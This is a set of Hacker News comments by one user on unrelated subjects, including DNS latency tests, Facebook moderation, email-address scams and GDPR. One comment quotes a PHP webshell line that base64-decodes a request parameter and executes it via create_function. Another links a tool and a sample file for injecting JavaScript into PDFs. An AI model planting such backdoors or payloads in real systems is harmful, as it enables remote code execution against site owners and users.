_cereal

So it seems he went farther :D

You can find it at https://web.archive.org/web/20170414120550/https://people.ee...

Agree that is difficult to catch it. For the log, in this case there are both functions, the output looks something like this:

  $j6 = create_function('', base64_decode($_REQUEST['sort']));
  $j6(); // execution

The `create_function()`[1] will internally execute `eval()` so the result would be the same.

[1] http://php.net/create_function

For "known good" folder, a git repository may help, at least to restore a clean version of the code.

I second that.

An example: a few weeks ago I shared on my FB profile the Mozilla Foundation petition link for the EU copyright reform[1] and it was removed with this motivation:

"We removed this post because it looks like spam and doesn't follow our Community Standards."

[1] https://blog.mozilla.org/netpolicy/2018/09/07/eu-copyright-r...

It reminds me about John Cage's 4'33''

- https://en.wikipedia.org/wiki/4%E2%80%B233%E2%80%B3

- https://youtu.be/JTEFKFiXSx4

An anecdote: when my semiotics professor talked about this composition for the first time, I was recording the lecture, and when colleagues asked for a copy, I sent them only the pauses between the sentences. When art meets sarcasm, it spreads really fast.

Yes, I read that sentence before writing and your argument about the website expenses can be valid. It does not change my main point: when it is about health one should search for information from qualified professionals. For example:

1. https://www.anxiety.org/panic-disorder-panic-attacks

2. https://www.mayoclinic.org/diseases-conditions/panic-attacks...

A personal experience can be illuminating sometimes but it cannot be considered an alternative approach. For this reason, I do not consider it a good source. Just my opinion.

Hmm. To me, it seems not. Or at least, it seems an everyday expertise knowledge, derived from direct experience. He does not seem to be a qualified expert. The goal here is to sell the books.

This reminds me about the Scaly-foot gastropod[1] mollusc which "possesses a trilayered structure comprised of a mineralized iron sulfide–based outer layer (OL) containing greigite..."[2]

[1] https://en.wikipedia.org/wiki/Scaly-foot_gastropod [2] http://www.pnas.org/content/107/3/987

Hi,

apart from programming you could add a remote part-time job, look at positions available at:

https://appen.com/ or http://www.ai-media.tv/

It depends on the exploit and on the reader. If, for example, the reader supports javascript then it can be attacked, apart from other weaknesses. Chrome on Linux executes javascript in PDF, while Firefox does not.

Here is an example file: https://we.tl/q90gXERGmx

Built with https://github.com/cornerpirate/JS2PDFInjector

Sorry, what is the meaning of TTT? I did a search but could not find a definition.

Edit: got it, trillion.

I see it as a suggestion to try to give the best of yourself in everything you do: use the same passion/positive attitude that you put in something you appreciate (your work for example) for all the aspect of your life, and you will get a better control of yourself.

I was doing something similar:

  var downvoted = document.querySelectorAll('.comment > span:not(.c00)');
  for(let i = 0, c = downvoted.length; i < c; i++)
  {
    downvoted[i].style.color = '#70798C';
  }

It happened something similar to me a few weeks ago: the scammer registered an account indicating my Gmail address, with dots. I wasn't signed to the service with that address.

When I asked Netflix's support to remove the association of that account with my e-mail address, they replied I had to change the card details with mine, because it was like I was "stealing" the scammer account credit card. I replied I would not add my credit card details. The operator then wrote me he was going to invalidate my e-mail address so that the user that would log in, had to change it. And that it should solve my issue.

The problem, for me, is not the Gmail feature. Nor the dots, neither the plus addressing. It's a lack of the validation systems. Just verify the e-mail ownership before allowing any interaction.

Italy, TIM:

                 test1   test2   test3   test4   test5   test6   test7   test8   test9   test10  Average
  cloudflare     23 ms   19 ms   20 ms   20 ms   21 ms   21 ms   23 ms   22 ms   22 ms   20 ms     21.10
  cloudflare2nd  23 ms   23 ms   20 ms   20 ms   24 ms   20 ms   23 ms   23 ms   24 ms   23 ms     22.30
  google         20 ms   22 ms   22 ms   41 ms   20 ms   43 ms   21 ms   45 ms   20 ms   36 ms     29.00
  neustar        41 ms   34 ms   33 ms   43 ms   35 ms   47 ms   45 ms   35 ms   41 ms   33 ms     38.70
  quad9          38 ms   47 ms   33 ms   32 ms   39 ms   51 ms   35 ms   50 ms   44 ms   39 ms     40.80
  google2nd      23 ms   20 ms   20 ms   20 ms   20 ms   214 ms  21 ms   38 ms   23 ms   23 ms     42.20
  norton         47 ms   44 ms   42 ms   45 ms   46 ms   42 ms   44 ms   47 ms   46 ms   44 ms     44.70
  cleanbrowsing  48 ms   50 ms   47 ms   46 ms   48 ms   48 ms   46 ms   49 ms   46 ms   49 ms     47.70
  opendns        39 ms   41 ms   41 ms   47 ms   40 ms   197 ms  33 ms   50 ms   42 ms   34 ms     56.40
  comodo         58 ms   56 ms   58 ms   59 ms   56 ms   58 ms   55 ms   56 ms   55 ms   65 ms     57.60
  yandex         69 ms   67 ms   63 ms   62 ms   71 ms   65 ms   71 ms   65 ms   75 ms   125 ms    73.30
  adguard        90 ms   88 ms   80 ms   93 ms   76 ms   78 ms   79 ms   161 ms  86 ms   79 ms     91.00

True, I'm not much into client side programming, just learning and lectures like this or Axel Rauschmayer's[1] are gold sources to understand Javascript.

[1] http://exploringjs.com/es6/

Sounds like a schroedinbug:

http://catb.org/jargon/html/S/schroedinbug.html

It depends, I try to choose something that's easy to read to avoid confusion between some characters and numbers. Also some programming fonts offer symbols ligatures. I don't like them, maybe it's just an habit but, if I have to write something, I don't want to think about the meaning of a symbol into another font. I find my self comfortable with the Ubuntu fonts, these are my system & browser defaults. Being everywhere in the interface I forget about them and concentrate on the code. Color palettes and code highlighting are also my concerns, I change them depending on ambient light. But I usually prefer bright palettes.

Maybe because the handle points to the right side, while usually points to the left, making it easy to recognize the icon if you are reading from left to right.

> each time in some app we were forcing users to confirm their email address upon registration (non-tech founders often insist on this for some reason) we'd see between 40% to even 70% drop. People would register and then never come back because they just didn't care enough to look for our confirmation email.

Some countries in Europe require to prove user opt-in consent, in addition the EU General Data Protection Regulation (GDPR)[1] approved in 2016 and active starting from May 2018 will, in practice, extend it to all EU countries.

[1] https://en.wikipedia.org/wiki/General_Data_Protection_Regula...